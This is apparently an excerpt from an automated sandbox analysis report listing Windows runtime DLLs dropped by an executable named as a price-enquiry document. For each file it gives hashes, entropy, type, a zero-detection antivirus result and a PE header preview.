File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17712
Entropy (8bit):	7.187691342157284
Encrypted:	false
SSDEEP:	192:w9WIghWGdUuDz7M123Ouo+Uggs/nGfe4pBjSXrw58h6Wh0txKdmVWQ4SW7QQtzko:w9WPhWYDz6i00GftpBjXPemD5l1z6hv
MD5:	FEE0926AA1BF00F2BEC9DA5DB7B2DE56
SHA1:	F5A4EB3D8AC8FB68AF716857629A43CD6BE63473
SHA-256:	8EB5270FA99069709C846DB38BE743A1A80A42AA1A88776131F79E1D07CC411C
SHA-512:	0958759A1C4A4126F80AA5CDD9DF0E18504198AEC6828C8CE8EB5F615AD33BF7EF0231B509ED6FD1304EEAB32878C5A649881901ABD26D05FD686F5EBEF2D1C3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....&............!......................... ...............................0......0.....@.......................................... ..................0=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....&.........;...T...T........&.........d................&.....................RSDS...O.""#.n....D:....api-ms-win-core-profile-l1-1-0.pdb..........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.....................&.....<...............(...0...8...w......._...........api-ms-win-core-profile-l1-1-0.dll.QueryPerformanceCounter.kernel32.QueryPerformanceCounter.QueryPerformanceFrequency.kernel32.QueryPerformanceFrequency....................

C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-rtlsupport-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17720
Entropy (8bit):	7.19694878324007
Encrypted:	false
SSDEEP:	384:61G1WPhWksnhi00GftpBjEVXremWRlP55Jk:kGiYnhoiqVXreDT5Y
MD5:	FDBA0DB0A1652D86CD471EAA509E56EA
SHA1:	3197CB45787D47BAC80223E3E98851E48A122EFA
SHA-256:	2257FEA1E71F7058439B3727ED68EF048BD91DCACD64762EB5C64A9D49DF0B57
SHA-512:	E5056D2BD34DC74FC5F35EA7AA8189AAA86569904B0013A7830314AE0E2763E95483FABDCBA93F6418FB447A4A74AB0F07712ED23F2E1B840E47A099B1E68E18
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L......(...........!......................... ...............................0......}"....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.......(........>...T...T..........(........d..................(....................RSDS?.L.N.o.....=.......api-ms-win-core-rtlsupport-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02...................(....F...............(...4...@...~...........l.................api-ms-win-core-rtlsupport-l1-1-0.dll.RtlCaptureContext.ntdll.RtlCaptureContext.RtlCaptureStackBackTrace.ntdll.RtlCaptureStackBackTrace.RtlUnwind.ntdll.RtlUnwind.

C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-string-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.137724132900032
Encrypted:	false
SSDEEP:	384:xyMvRWPhWFs0i00GftpBjwCJdemnflUG+zI4:xyMvWWoibeTnn
MD5:	12CC7D8017023EF04EBDD28EF9558305
SHA1:	F859A66009D1CAAE88BF36B569B63E1FBDAE9493
SHA-256:	7670FDEDE524A485C13B11A7C878015E9B0D441B7D8EB15CA675AD6B9C9A7311
SHA-512:	F62303D98EA7D0DDBE78E4AB4DB31AC283C3A6F56DBE5E3640CBCF8C06353A37776BF914CFE57BBB77FC94CCFA48FAC06E74E27A4333FBDD112554C646838929
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....R............!......................... ...............................0.......\....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@......R.........:...T...T.........R.........d.................R.....................RSDS..D..a..1.f....7....api-ms-win-core-string-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02......................R.....x...............(...H...h...............)...O...x...........................>...i...........................api-ms-win-core-string-l1-1-0.dll.CompareStringEx.kernel32.CompareStringEx.CompareStringOrdinal.kernel32.Compare

C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-synch-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	20280
Entropy (8bit):	7.04640581473745
Encrypted:	false
SSDEEP:	384:5Xdv3V0dfpkXc0vVaHWPhWXEi00GftpBj9em+4lndanJ7o:5Xdv3VqpkXc0vVa8poivex
MD5:	71AF7ED2A72267AAAD8564524903CFF6
SHA1:	8A8437123DE5A22AB843ADC24A01AC06F48DB0D3
SHA-256:	5DD4CCD63E6ED07CA3987AB5634CA4207D69C47C2544DFEFC41935617652820F
SHA-512:	7EC2E0FEBC89263925C0352A2DE8CC13DA37172555C3AF9869F9DBB3D627DD1382D2ED3FDAD90594B3E3B0733F2D3CFDEC45BC713A4B7E85A09C164C3DFA3875
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L......2...........!......................... ...............................0............@.............................V............ ..................8=..............T............................................................................text...V........................... ..`.rsrc........ ......................@..@.......2........9...T...T..........2........d..................2....................RSDS...z..C...+Q_.....api-ms-win-core-synch-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg.......V....edata... ..`....rsrc$01....` .......rsrc$02.......................2............)...)...(.......p.......1...c...................!...F...m...............$...X...........$...[.......................@...i...............!...Q.......................[...............7...........O...................

C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-synch-l1-2-0.dll

Download File

Process:	C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.138910839042951
Encrypted:	false
SSDEEP:	384:JtZ3gWPhWFA0i00GftpBj4Z8wemFfYlP55t:j+oiVweb53
MD5:	0D1AA99ED8069BA73CFD74B0FDDC7B3A
SHA1:	BA1F5384072DF8AF5743F81FD02C98773B5ED147
SHA-256:	30D99CE1D732F6C9CF82671E1D9088AA94E720382066B79175E2D16778A3DAD1
SHA-512:	6B1A87B1C223B757E5A39486BE60F7DD2956BB505A235DF406BCF693C7DD440E1F6D65FFEF7FDE491371C682F4A8BB3FD4CE8D8E09A6992BB131ADDF11EF2BF9
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...XuY...........!......................... ...............................0......3.....@.............................v............ ..................8=..............T............................................................................text...v........................... ..`.rsrc........ ......................@..@....XuY........9...T...T.......XuY........d...............XuY....................RSDS.V..B...`..S3.....api-ms-win-core-synch-l1-2-0.pdb............T....rdata..T........rdata$zzzdbg.......v....edata... ..`....rsrc$01....` .......rsrc$02....................X*uY....................(...l...........R...................W...............&...b...............$...W.......6...w...............;...\|...............H...................A.....................................api-ms-win-core-synch-

C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-sysinfo-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19248
Entropy (8bit):	7.072555805949365
Encrypted:	false
SSDEEP:	384:2q25WPhWWsnhi00GftpBj1u6qXxem4l1z6hi:25+SnhoiG6IeA8
MD5:	19A40AF040BD7ADD901AA967600259D9
SHA1:	05B6322979B0B67526AE5CD6E820596CBE7393E4
SHA-256:	4B704B36E1672AE02E697EFD1BF46F11B42D776550BA34A90CD189F6C5C61F92
SHA-512:	5CC4D55350A808620A7E8A993A90E7D05B441DA24127A00B15F96AAE902E4538CA4FED5628D7072358E14681543FD750AD49877B75E790D201AB9BAFF6898C8D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....C=...........!......................... ...............................0............@.............................E............ ..................0=..............T............................................................................text...E........................... ..`.rsrc........ ......................@..@......C=........;...T...T.........C=........d.................C=....................RSDS....T.>eD.#\|.../....api-ms-win-core-sysinfo-l1-1-0.pdb..........T....rdata..T........rdata$zzzdbg.......E....edata... ..`....rsrc$01....` .......rsrc$02......................C=....................(...........:...i...............N...................7...s...............+...M...r.............../...'...V...............:...k...................X............... ...?...d..............."...................

C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-timezone-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18224
Entropy (8bit):	7.17450177544266
Encrypted:	false
SSDEEP:	384:SWPhWK3di00GftpBjH35Gvem2Al1z6hIu:77NoiOve7eu
MD5:	BABF80608FD68A09656871EC8597296C
SHA1:	33952578924B0376CA4AE6A10B8D4ED749D10688
SHA-256:	24C9AA0B70E557A49DAC159C825A013A71A190DF5E7A837BFA047A06BBA59ECA
SHA-512:	3FFFFD90800DE708D62978CA7B50FE9CE1E47839CDA11ED9E7723ACEC7AB5829FA901595868E4AB029CDFB12137CF8ECD7B685953330D0900F741C894B88257B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....Y.x...........!......................... ...............................0......}3....@.......................................... ..................0=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....Y.x........<...T...T........Y.x........d................Y.x....................RSDS.^.b. .t.H.a.......api-ms-win-core-timezone-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.....................Y.x....................(...L...p...........5...s...........+...i...................U...............I.........................api-ms-win-core-timezone-l1-1-0.dll.FileTimeToSystemTime.kernel32.FileTimeToSystemTime.GetDynamicTimeZ

C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-core-util-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.1007227686954275
Encrypted:	false
SSDEEP:	192:pePWIghWG4U9wluZo123Ouo+Uggs/nGfe4pBjSbKT8wuxWh0txKdmVWQ4CWnFnwQ:pYWPhWFS0i00GftpBj7DudemJlP552
MD5:	0F079489ABD2B16751CEB7447512A70D
SHA1:	679DD712ED1C46FBD9BC8615598DA585D94D5D87
SHA-256:	F7D450A0F59151BCEFB98D20FCAE35F76029DF57138002DB5651D1B6A33ADC86
SHA-512:	92D64299EBDE83A4D7BE36F07F65DD868DA2765EB3B39F5128321AFF66ABD66171C7542E06272CB958901D403CCF69ED716259E0556EE983D2973FAA03C55D3E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....f............!......................... ...............................0......`k....@.............................9............ ..................8=..............T............................................................................text...)........................... ..`.rsrc........ ......................@..@......f.........8...T...T.........f.........d.................f.....................RSDS*...$.L.Rm..l.....api-ms-win-core-util-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg.......9....edata... ..`....rsrc$01....` .......rsrc$02..........f.....J...................,...@...o...................j...}.........................api-ms-win-core-util-l1-1-0.dll.Beep.kernel32.Beep.DecodePointer.kernel32.DecodePointer.DecodeSystemPointer.kernel32.DecodeSystemPointer.EncodePointer.kernel3

C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-crt-conio-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19256
Entropy (8bit):	7.088693688879585
Encrypted:	false
SSDEEP:	384:8WPhWz4Ri00GftpBjDb7bemHlndanJ7DW:Fm0oiV7beV
MD5:	6EA692F862BDEB446E649E4B2893E36F
SHA1:	84FCEAE03D28FF1907048ACEE7EAE7E45BAAF2BD
SHA-256:	9CA21763C528584BDB4EFEBE914FAAF792C9D7360677C87E93BD7BA7BB4367F2
SHA-512:	9661C135F50000E0018B3E5C119515CFE977B2F5F88B0F5715E29DF10517B196C81694D074398C99A572A971EC843B3676D6A831714AB632645ED25959D5E3E7
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.................!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v..............................8...d...d..................d......................................RSDS....<....2..u....api-ms-win-crt-conio-l1-1-0.pdb.........d....rdata..d........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02...............T...............(.......................>...w.........../...W...p...........................,...L...l.......................,...L...m...............t...........'...^...............P...g...........................$...=...

C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-crt-convert-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	22328
Entropy (8bit):	6.929204936143068
Encrypted:	false
SSDEEP:	384:EuydWPhW7snhi00GftpBjd6t/emJlDbN:3tnhoi6t/eAp
MD5:	72E28C902CD947F9A3425B19AC5A64BD
SHA1:	9B97F7A43D43CB0F1B87FC75FEF7D9EEEA11E6F7
SHA-256:	3CC1377D495260C380E8D225E5EE889CBB2ED22E79862D4278CFA898E58E44D1
SHA-512:	58AB6FEDCE2F8EE0970894273886CB20B10D92979B21CDA97AE0C41D0676CC0CD90691C58B223BCE5F338E0718D1716E6CE59A106901FE9706F85C3ACF7855FF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....NE............!.........................0...............................@............@..........................................0..................8=..............T............................................................................text............................... ..`.rsrc........0......................@..@v....................NE.........:...d...d........NE.........d................NE.....................RSDS..e.7P.g^j..[....api-ms-win-crt-convert-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg............edata...0..`....rsrc$01....`0.......rsrc$02.....................NE.............z...z...8... .......(...C...^...y...........................1...N...k...............................*...E...`...y...............................5...R...o.......................,...M...n...........

C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-crt-environment-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18736
Entropy (8bit):	7.078409479204304
Encrypted:	false
SSDEEP:	192:bWIghWGd4edXe123Ouo+Uggs/nGfe4pBjSXXmv5Wh0txKdmVWQ4SWEApkqnajPBZ:bWPhWqXYi00GftpBjBemPl1z6h2
MD5:	AC290DAD7CB4CA2D93516580452EDA1C
SHA1:	FA949453557D0049D723F9615E4F390010520EDA
SHA-256:	C0D75D1887C32A1B1006B3CFFC29DF84A0D73C435CDCB404B6964BE176A61382
SHA-512:	B5E2B9F5A9DD8A482169C7FC05F018AD8FE6AE27CB6540E67679272698BFCA24B2CA5A377FA61897F328B3DEAC10237CAFBD73BC965BF9055765923ABA9478F8
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....jU............!......................... ...............................0......G.....@............................."............ ..................0=..............T............................................................................text...2........................... ..`.rsrc........ ......................@..@v....................jU.........>...d...d........jU.........d................jU.....................RSDSu..1.N....R.s,"\....api-ms-win-crt-environment-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg......."....edata... ..`....rsrc$01....` .......rsrc$02.................jU.....................8...............C...d...........................3...O...l....................... .......5...Z...w.......................)...F...a...........................................................

C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-crt-filesystem-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	20280
Entropy (8bit):	7.085387497246545
Encrypted:	false
SSDEEP:	384:sq6nWm5C1WPhWFK0i00GftpBjB1UemKklUG+zIOd/:x6nWm5CiooiKeZnbd/
MD5:	AEC2268601470050E62CB8066DD41A59
SHA1:	363ED259905442C4E3B89901BFD8A43B96BF25E4
SHA-256:	7633774EFFE7C0ADD6752FFE90104D633FC8262C87871D096C2FC07C20018ED2
SHA-512:	0C14D160BFA3AC52C35FF2F2813B85F8212C5F3AFBCFE71A60CCC2B9E61E51736F0BF37CA1F9975B28968790EA62ED5924FAE4654182F67114BD20D8466C4B8F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L......h...........!......................... ...............................0......I.....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v......................h........=...d...d..........h........d..................h....................RSDS.....a.'..G...A.....api-ms-win-crt-filesystem-l1-1-0.pdb............d....rdata..d........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02...................h............A...A...8...<...@...........$...=...V...q...................)...M...q......................./...O...o...........................7...X...v...........................6...U...r.......................

C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-crt-heap-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19256
Entropy (8bit):	7.060393359865728
Encrypted:	false
SSDEEP:	192:+Y3vY17aFBR4WIghWG4U9CedXe123Ouo+Uggs/nGfe4pBjSbGGAPWh0txKdmVWQC:+Y3e9WPhWFsXYi00GftpBjfemnlP55s
MD5:	93D3DA06BF894F4FA21007BEE06B5E7D
SHA1:	1E47230A7EBCFAF643087A1929A385E0D554AD15
SHA-256:	F5CF623BA14B017AF4AEC6C15EEE446C647AB6D2A5DEE9D6975ADC69994A113D
SHA-512:	72BD6D46A464DE74A8DAC4C346C52D068116910587B1C7B97978DF888925216958CE77BE1AE049C3DCCF5BF3FFFB21BC41A0AC329622BC9BBC190DF63ABB25C6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...J.o ...........!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v...................J.o ........7...d...d.......J.o ........d...............J.o ....................RSDSq.........pkQX[....api-ms-win-crt-heap-l1-1-0.pdb..........d....rdata..d........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02........J.o ....6...............(...........c...................S.......................1...V...y.......................<...c...........................U...z...............:...u...................&...E...p.......................,...U...

C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-crt-locale-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.13172731865352
Encrypted:	false
SSDEEP:	192:fiWIghWGZirX+4z123Ouo+Uggs/nGfe4pBjS/RFcpOWh0txKdmVWQ4GWs8ylDikh:aWPhWjO4Ri00GftpBjZOemSXlvNQ0
MD5:	A2F2258C32E3BA9ABF9E9E38EF7DA8C9
SHA1:	116846CA871114B7C54148AB2D968F364DA6142F
SHA-256:	565A2EEC5449EEEED68B430F2E9B92507F979174F9C9A71D0C36D58B96051C33
SHA-512:	E98CBC8D958E604EFFA614A3964B3D66B6FC646BDCA9AA679EA5E4EB92EC0497B91485A40742F3471F4FF10DE83122331699EDC56A50F06AE86F21FAD70953FE
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...\|..O...........!......................... ...............................0......E*....@.............................e............ ..................8=..............T............................................................................text...u........................... ..`.rsrc........ ......................@..@v...................\|..O........9...d...d.......\|..O........d...............\|..O....................RSDS.X...7.......$k....api-ms-win-crt-locale-l1-1-0.pdb............d....rdata..d........rdata$zzzdbg.......e....edata... ..`....rsrc$01....` .......rsrc$02....................\|..O....................8...........5...h...............E...................$...N...t...................$...D...b...!...R............... ...s...................:...k.......................9...X...................

C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-crt-math-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	28984
Entropy (8bit):	6.6686462438397
Encrypted:	false
SSDEEP:	384:7OTEmbM4Oe5grykfIgTmLyWPhW30i00GftpBjAKemXlDbNl:dEMq5grxfInbRoiNeSp
MD5:	8B0BA750E7B15300482CE6C961A932F0
SHA1:	71A2F5D76D23E48CEF8F258EAAD63E586CFC0E19
SHA-256:	BECE7BAB83A5D0EC5C35F0841CBBF413E01AC878550FBDB34816ED55185DCFED
SHA-512:	FB646CDCDB462A347ED843312418F037F3212B2481F3897A16C22446824149EE96EB4A4B47A903CA27B1F4D7A352605D4930DF73092C380E3D4D77CE4E972C5A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L..................!.........................@...............................P............@..............................+...........@...............4..8=..............T............................................................................text....,.......................... ..`.rsrc........@.......0..............@..@v...............................7...d...d...................d.......................................RSDSB...=........,....api-ms-win-crt-math-l1-1-0.pdb..........d....rdata..d........rdata$zzzdbg........+...edata...@..`....rsrc$01....`@.......rsrc$02................l.......:...:...(...................................(...@...X...q...............................4...M...g........................ ..= ..i ... ... ... ...!..E!..o!...!...!...!..."..F"..s"..."..."..."...#..E#..o#...#...#..

C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-crt-multibyte-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	26424
Entropy (8bit):	6.712286643697659
Encrypted:	false
SSDEEP:	384:kDy+Kr6aLPmIHJI6/CpG3t2G3t4odXL5WPhWFY0i00GftpBjbnMxem8hzlmTMiLV:kDZKrZPmIHJI64GoiZMxe0V
MD5:	35FC66BD813D0F126883E695664E7B83
SHA1:	2FD63C18CC5DC4DEFC7EA82F421050E668F68548
SHA-256:	66ABF3A1147751C95689F5BC6A259E55281EC3D06D3332DD0BA464EFFA716735
SHA-512:	65F8397DE5C48D3DF8AD79BAF46C1D3A0761F727E918AE63612EA37D96ADF16CC76D70D454A599F37F9BA9B4E2E38EBC845DF4C74FC1E1131720FD0DCB881431
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....u'............!.....$...................@...............................P............@.............................. ...........@...............*..8=..............T............................................................................text....".......$.................. ..`.rsrc........@.......&..............@..@v....................u'.........<...d...d........u'.........d................u'.....................RSDS7.%..5..+...+.....api-ms-win-crt-multibyte-l1-1-0.pdb.........d....rdata..d........rdata$zzzdbg........ ...edata...@..`....rsrc$01....`@.......rsrc$02.....................u'.....................8...X...x...;...`.......................1...T...w...................'...L...q.......................B...e.......................7...Z...}...................+...L...m.......................

C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-crt-private-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	73016
Entropy (8bit):	5.838702055399663
Encrypted:	false
SSDEEP:	1536:VAHEGlVDe5c4bFE2Jy2cvxXWpD9d3334BkZnkPFZo6kt:Vc7De5c4bFE2Jy2cvxXWpD9d3334BkZj
MD5:	9910A1BFDC41C5B39F6AF37F0A22AACD
SHA1:	47FA76778556F34A5E7910C816C78835109E4050
SHA-256:	65DED8D2CE159B2F5569F55B2CAF0E2C90F3694BD88C89DE790A15A49D8386B9
SHA-512:	A9788D0F8B3F61235EF4740724B4A0D8C0D3CF51F851C367CC9779AB07F208864A7F1B4A44255E0DE8E030D84B63B1BDB58F12C8C20455FF6A55EF6207B31A91
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....^1...........!................................................................R.....@.............................................................8=..............T............................................................................text............................... ..`.rsrc...............................@..@v.....................^1........:...d...d.........^1........d.................^1....................RSDS.J..w/.8..bu..3.....api-ms-win-crt-private-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg............edata......`....rsrc$01....`........rsrc$02......................^1.....>..............8...h#...5...>...?..7?.._?...?...?...?...@..V@...@...@...@..+A..\A...A...A...A...B..LB...B...B...C..HC...C...C...C...C...D..HD...D...D...E..eE...E...E...F..1F..gF...F...F...G..BG..uG...G..

C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-crt-process-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19256
Entropy (8bit):	7.076072254895036
Encrypted:	false
SSDEEP:	192:aRQqjd7dWIghWG4U9kuDz7M123Ouo+Uggs/nGfe4pBjSbAURWh0txKdmVWQ4CW+6:aKcWPhWFkDz6i00GftpBjYemZlUG+zIU
MD5:	8D02DD4C29BD490E672D271700511371
SHA1:	F3035A756E2E963764912C6B432E74615AE07011
SHA-256:	C03124BA691B187917BA79078C66E12CBF5387A3741203070BA23980AA471E8B
SHA-512:	D44EF51D3AAF42681659FFFFF4DD1A1957EAF4B8AB7BB798704102555DA127B9D7228580DCED4E0FC98C5F4026B1BAB242808E72A76E09726B0AF839E384C3B0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...l.h............!......................... ...............................0.......U....@.............................x............ ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v...................l.h.........:...d...d.......l.h.........d...............l.h.....................RSDSZ\.qM..I....3.....api-ms-win-crt-process-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg.......x....edata... ..`....rsrc$01....` .......rsrc$02....................l.h.............$...$...8.......X...................&...@...Y...q...........................*...E..._...z.......................!...<...V...q...........................9...V...t.......................7...R...i...

C:\Users\user\AppData\Local\Temp\1A34B8EE\api-ms-win-crt-runtime-l1-1-0.dll

Download File

Process:	C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	22840
Entropy (8bit):	6.942029615075195
Encrypted:	false
SSDEEP:	384:7b7hrKwWPhWFlsnhi00GftpBj+6em90lmTMiLzrF7:7bNrKxZnhoig6eQN7
MD5:	41A348F9BEDC8681FB30FA78E45EDB24
SHA1:	66E76C0574A549F293323DD6F863A8A5B54F3F9B
SHA-256:	C9BBC07A033BAB6A828ECC30648B501121586F6F53346B1CD0649D7B648EA60B
SHA-512:	8C2CB53CCF9719DE87EE65ED2E1947E266EC7E8343246DEF6429C6DF0DC514079F5171ACD1AA637276256C607F1063144494B992D4635B01E09DDEA6F5EEF204
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
